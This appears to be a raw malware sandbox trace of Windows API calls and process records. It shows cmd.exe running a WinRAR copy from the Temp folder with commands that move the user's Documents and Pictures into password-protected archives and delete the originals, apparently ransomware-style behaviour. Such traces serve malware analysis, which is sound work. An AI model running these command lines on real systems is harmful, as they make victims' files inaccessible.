GetProcessHeap () returned 0x610000 [0056.148] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x617dd8) returned 0x3e [0056.148] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.148] malloc (_Size=0xffce) returned 0x2b02660 [0056.148] ??_V@YAXPAX@Z () returned 0x39f494 [0056.148] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.148] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2b02660, nVolumeNameSize=0x7fe7, lpVolumeSerialNumber=0x39f4d8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x39f4d8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.150] ??_V@YAXPAX@Z () returned 0x1 [0056.150] GetProcessHeap () returned 0x610000 [0056.150] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x46) returned 0x617e20 [0056.150] malloc (_Size=0xffce) returned 0x2b02660 [0056.150] ??_V@YAXPAX@Z () returned 0x39f48c [0056.150] GetProcessHeap () returned 0x610000 [0056.150] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x78) returned 0x617e70 [0056.152] GetProcessHeap () returned 0x610000 [0056.152] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x617e70, Size=0x40) returned 0x617e70 [0056.152] GetProcessHeap () returned 0x610000 [0056.152] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x617e70) returned 0x40 [0056.152] _wcsnicmp (_String1="C:", _String2="/D", _MaxCount=0x2) returned 52 [0056.152] malloc (_Size=0xffce) returned 0x2b12638 [0056.153] ??_V@YAXPAX@Z () returned 0x39f214 [0056.153] GetProcessHeap () returned 0x610000 [0056.153] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x3c) returned 0x617eb8 [0056.153] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2b12638 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0056.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x7fe7, lpBuffer=0x2b12638, lpFilePart=0x39f260 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x39f260*="Documents") returned 0x19 [0056.153] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0056.154] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x39efe0 | out: lpFindFileData=0x39efe0) returned 0x617f00 [0056.154] FindClose (in: hFindFile=0x617f00 | out: hFindFile=0x617f00) returned 1 [0056.154] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x39efe0 | out: lpFindFileData=0x39efe0) returned 0x617f00 [0056.154] FindClose (in: hFindFile=0x617f00 | out: hFindFile=0x617f00) returned 1 [0056.154] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", lpFindFileData=0x39efe0 | out: lpFindFileData=0x39efe0) returned 0x617f00 [0056.154] FindClose (in: hFindFile=0x617f00 | out: hFindFile=0x617f00) returned 1 [0056.154] _wcsnicmp (_String1="DOCUME~1", _String2="Documents", _MaxCount=0x9) returned 16 [0056.154] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0056.154] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 1 [0056.154] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Documents") returned 1 [0056.155] GetProcessHeap () returned 0x610000 [0056.155] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x616d20) returned 1 [0056.155] GetEnvironmentStringsW () returned 0x616d20* [0056.155] GetProcessHeap () returned 0x610000 [0056.155] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb1e) returned 0x617f00 [0056.155] FreeEnvironmentStringsA (penv="=") returned 1 [0056.155] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2ae0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0056.155] GetProcessHeap () returned 0x610000 [0056.155] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x617eb8) returned 1 [0056.155] ??_V@YAXPAX@Z () returned 0x1 [0056.156] ??_V@YAXPAX@Z () returned 0x1 [0056.156] ??_V@YAXPAX@Z () returned 0x1 [0056.156] GetConsoleTitleW (in: lpConsoleTitle=0x39f950, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.156] malloc (_Size=0xffce) returned 0x2af2688 [0056.156] ??_V@YAXPAX@Z () returned 0x39f6dc [0056.156] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.156] malloc (_Size=0xffce) returned 0x2b02660 [0056.156] ??_V@YAXPAX@Z () returned 0x39f494 [0056.156] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.156] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2b02660, nVolumeNameSize=0x7fe7, lpVolumeSerialNumber=0x39f4d8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x39f4d8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.158] ??_V@YAXPAX@Z () returned 0x1 [0056.159] GetProcessHeap () returned 0x610000 [0056.159] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xffd6) returned 0x618a28 [0056.190] GetProcessHeap () returned 0x610000 [0056.190] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xa4) returned 0x6129a8 [0056.190] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0056.190] malloc (_Size=0xffce) returned 0x2b02660 [0056.190] ??_V@YAXPAX@Z () returned 0x39f214 [0056.191] GetProcessHeap () returned 0x610000 [0056.191] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x1ffa4) returned 0x628a08 [0056.192] SetErrorMode (uMode=0x0) returned 0x0 [0056.192] SetErrorMode (uMode=0x1) returned 0x0 [0056.192] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\.", nBufferLength=0xffce, lpBuffer=0x628a10, lpFilePart=0x39f234 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp", lpFilePart=0x39f234*="Temp") returned 0x22 [0056.192] SetErrorMode (uMode=0x0) returned 0x1 [0056.192] GetProcessHeap () returned 0x610000 [0056.192] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x628a08, Size=0x64) returned 0x628a08 [0056.192] GetProcessHeap () returned 0x610000 [0056.192] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x628a08) returned 0x64 [0056.192] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\.") returned 1 [0056.192] GetProcessHeap () returned 0x610000 [0056.192] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x54) returned 0x612a58 [0056.192] GetProcessHeap () returned 0x610000 [0056.193] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x9c) returned 0x612ab8 [0056.193] GetProcessHeap () returned 0x610000 [0056.193] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x612ab8, Size=0x54) returned 0x612ab8 [0056.193] GetProcessHeap () returned 0x610000 [0056.193] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x612ab8) returned 0x54 [0056.193] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x90f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.193] GetProcessHeap () returned 0x610000 [0056.193] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe0) returned 0x610d08 [0056.195] GetProcessHeap () returned 0x610000 [0056.195] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x610d08, Size=0x76) returned 0x610d08 [0056.195] GetProcessHeap () returned 0x610000 [0056.195] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x610d08) returned 0x76 [0056.195] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.195] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe", fInfoLevelId=0x1, lpFindFileData=0x39efe0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39efe0) returned 0x617eb8 [0056.195] GetProcessHeap () returned 0x610000 [0056.195] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x612b18 [0056.195] FindClose (in: hFindFile=0x617eb8 | out: hFindFile=0x617eb8) returned 1 [0056.195] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0056.196] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0056.196] ??_V@YAXPAX@Z () returned 0x1 [0056.196] GetConsoleTitleW (in: lpConsoleTitle=0x39f4c4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0056.450] InitializeProcThreadAttributeList (in: lpAttributeList=0x39f3f0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x39f3dc | out: lpAttributeList=0x39f3f0, lpSize=0x39f3dc) returned 1 [0056.450] UpdateProcThreadAttribute (in: lpAttributeList=0x39f3f0, dwFlags=0x0, Attribute=0x60001, lpValue=0x39f3d8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x39f3f0, lpPreviousValue=0x0) returned 1 [0056.451] GetStartupInfoW (in: lpStartupInfo=0x39f428 | out: lpStartupInfo=0x39f428*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0056.451] GetProcessHeap () returned 0x610000 [0056.451] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x18) returned 0x617eb8 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0056.451] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0056.452] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0056.452] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0056.452] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0056.452] GetProcessHeap () returned 0x610000 [0056.452] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x617eb8) returned 1 [0056.452] GetProcessHeap () returned 0x610000 [0056.452] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xa) returned 0x617eb8 [0056.452] lstrcmpW (lpString1="\\WinRAR.exe", lpString2="\\XCOPY.EXE") returned -1 [0056.453] _get_osfhandle (_FileHandle=1) returned 0x90 [0056.453] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0056.737] _get_osfhandle (_FileHandle=0) returned 0x8c [0056.738] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1 [0057.050] CreateProcessW (in: lpApplicationName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe", lpCommandLine="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Documents", lpStartupInfo=0x39f378*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x39f3c4 | out: lpCommandLine="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", lpProcessInformation=0x39f3c4*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xf64, dwThreadId=0x48c)) returned 1 [0057.056] CloseHandle (hObject=0xdc) returned 1 [0057.056] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0057.056] GetProcessHeap () returned 0x610000 [0057.056] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x617f00) returned 1 [0057.056] GetEnvironmentStringsW () returned 0x616d20* [0057.056] GetProcessHeap () returned 0x610000 [0057.056] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb1e) returned 0x617ee8 [0057.056] FreeEnvironmentStringsA (penv="=") returned 1 [0057.056] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0088.774] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x39f35c | out: lpExitCode=0x39f35c*=0x0) returned 1 [0088.777] CloseHandle (hObject=0xe0) returned 1 [0088.778] _vsnwprintf (in: _Buffer=0x39f444, _BufferCount=0x13, _Format="%08X", _ArgList=0x39f364 | out: _Buffer="00000000") returned 8 [0088.808] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0088.808] GetProcessHeap () returned 0x610000 [0088.808] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x617ee8) returned 1 [0088.808] GetEnvironmentStringsW () returned 0x614ac0* [0088.808] GetProcessHeap () returned 0x610000 [0088.808] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb44) returned 0x615610 [0088.808] FreeEnvironmentStringsA (penv="=") returned 1 [0088.808] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0088.808] GetProcessHeap () returned 0x610000 [0088.808] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x615610) returned 1 [0088.808] GetEnvironmentStringsW () returned 0x614ac0* [0088.809] GetProcessHeap () returned 0x610000 [0088.809] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb44) returned 0x615610 [0088.809] FreeEnvironmentStringsA (penv="=") returned 1 [0088.809] GetProcessHeap () returned 0x610000 [0088.809] RtlFreeHeap (HeapHandle=0x610000, Flags=0x0, BaseAddress=0x617eb8) returned 1 [0088.809] DeleteProcThreadAttributeList (in: lpAttributeList=0x39f3f0 | out: lpAttributeList=0x39f3f0) [0088.809] ??_V@YAXPAX@Z () returned 0x1 [0088.809] _get_osfhandle (_FileHandle=1) returned 0x90 [0088.809] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0088.836] _get_osfhandle (_FileHandle=1) returned 0x90 [0088.836] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x913890 | out: lpMode=0x913890) returned 1 [0088.849] _get_osfhandle (_FileHandle=1) returned 0x90 [0088.849] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0088.858] _get_osfhandle (_FileHandle=0) returned 0x8c [0088.858] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x913894 | out: lpMode=0x913894) returned 1 [0088.868] _get_osfhandle (_FileHandle=0) returned 0x8c [0088.868] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0088.884] SetConsoleInputExeNameW () returned 0x1 [0088.884] GetConsoleOutputCP () returned 0x1b5 [0088.905] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x913850 | out: lpCPInfo=0x913850) returned 1 [0088.905] SetThreadUILanguage (LangId=0x0) returned 0x590409 [0088.911] exit (_Code=0) [0088.911] ??_V@YAXPAX@Z () returned 0x1 Thread: id = 44 os_tid = 0x86c Process: id = "5" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6ba61000" os_pid = "0x7f0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xf00" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0x9e0 Thread: id = 28 os_tid = 0xe5c Thread: id = 33 os_tid = 0xdac Thread: id = 35 os_tid = 0xf74 Thread: id = 37 os_tid = 0xd84 Process: id = "6" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x734e6000" os_pid = "0xa9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xe64" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\FD1HVy\\Pictures && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0x784 [0055.658] GetModuleHandleA (lpModuleName=0x0) returned 0x8e0000 [0055.658] __set_app_type (_Type=0x1) [0055.658] __p__fmode () returned 0x77ae3c14 [0055.658] __p__commode () returned 0x77ae49ec [0055.658] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x8f6fd0) returned 0x0 [0055.659] __getmainargs (in: _Argc=0x90d1a4, _Argv=0x90d1a8, _Env=0x90d1ac, _DoWildCard=0, _StartInfo=0x90d1b8 | out: _Argc=0x90d1a4, _Argv=0x90d1a8, _Env=0x90d1ac) returned 0 [0055.659] _onexit (_Func=0x8f8030) returned 0x8f8030 [0055.659] _onexit (_Func=0x8f8040) returned 0x8f8040 [0055.659] _onexit (_Func=0x8f8050) returned 0x8f8050 [0055.659] _onexit (_Func=0x8f8060) returned 0x8f8060 [0055.659] _onexit (_Func=0x8f8070) returned 0x8f8070 [0055.659] _onexit (_Func=0x8f8080) returned 0x8f8080 [0055.660] GetCurrentThreadId () returned 0x784 [0055.660] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x784) returned 0xbc [0055.660] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0055.660] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadUILanguage") returned 0x75ea4f70 [0055.660] SetThreadUILanguage (LangId=0x0) returned 0x530409 [0055.742] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.742] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ff988 | out: phkResult=0x3ff988*=0x0) returned 0x2 [0055.743] VirtualQuery (in: lpAddress=0x3ff993, lpBuffer=0x3ff940, dwLength=0x1c | out: lpBuffer=0x3ff940*(BaseAddress=0x3ff000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0055.743] VirtualQuery (in: lpAddress=0x300000, lpBuffer=0x3ff940, dwLength=0x1c | out: lpBuffer=0x3ff940*(BaseAddress=0x300000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0055.743] VirtualQuery (in: lpAddress=0x301000, lpBuffer=0x3ff940, dwLength=0x1c | out: lpBuffer=0x3ff940*(BaseAddress=0x301000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0055.743] VirtualQuery (in: lpAddress=0x303000, lpBuffer=0x3ff940, dwLength=0x1c | out: lpBuffer=0x3ff940*(BaseAddress=0x303000, AllocationBase=0x300000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0055.743] VirtualQuery (in: lpAddress=0x400000, lpBuffer=0x3ff940, dwLength=0x1c | out: lpBuffer=0x3ff940*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x4, RegionSize=0x131000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0055.743] GetConsoleOutputCP () returned 0x1b5 [0055.780] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x913850 | out: lpCPInfo=0x913850) returned 1 [0055.780] SetConsoleCtrlHandler (HandlerRoutine=0x907260, Add=1) returned 1 [0055.780] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.780] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x91388c | out: lpMode=0x91388c) returned 1 [0055.872] _get_osfhandle (_FileHandle=0) returned 0x8c [0055.872] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x913888 | out: lpMode=0x913888) returned 1 [0055.896] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.896] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0055.928] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.928] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x913890 | out: lpMode=0x913890) returned 1 [0055.956] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.956] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0055.971] _get_osfhandle (_FileHandle=0) returned 0x8c [0055.971] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x913894 | out: lpMode=0x913894) returned 1 [0055.977] _get_osfhandle (_FileHandle=0) returned 0x8c [0055.977] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0056.005] GetEnvironmentStringsW () returned 0x2b24c90* [0056.005] GetProcessHeap () returned 0x2b20000 [0056.005] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xaca) returned 0x2b25768 [0056.005] FreeEnvironmentStringsA (penv="A") returned 1 [0056.005] GetProcessHeap () returned 0x2b20000 [0056.005] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0x4) returned 0x2b24770 [0056.005] GetEnvironmentStringsW () returned 0x2b24c90* [0056.005] GetProcessHeap () returned 0x2b20000 [0056.005] RtlAllocateHeap (HeapHandle=0x2b20000, Flags=0x8, Size=0xaca) returned 0x2b26240 [0056.005] FreeEnvironmentStringsA (penv="A") returned 1 [0056.005] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3fe8e4 | out: phkResult=0x3fe8e4*=0xcc) returned 0x0 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x0, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x1, lpcbData=0x3fe8e8*=0x4) returned 0x0 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x0, lpData=0x3fe8f0*=0x1, lpcbData=0x3fe8e8*=0x1000) returned 0x2 [0056.006] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3fe8ec, lpData=0x3fe8f0, lpcbData=0x3fe8e8*=0x1000 | out: lpType=0x3fe8ec*=0x4, lpData=0x3fe8f0*=0x0, 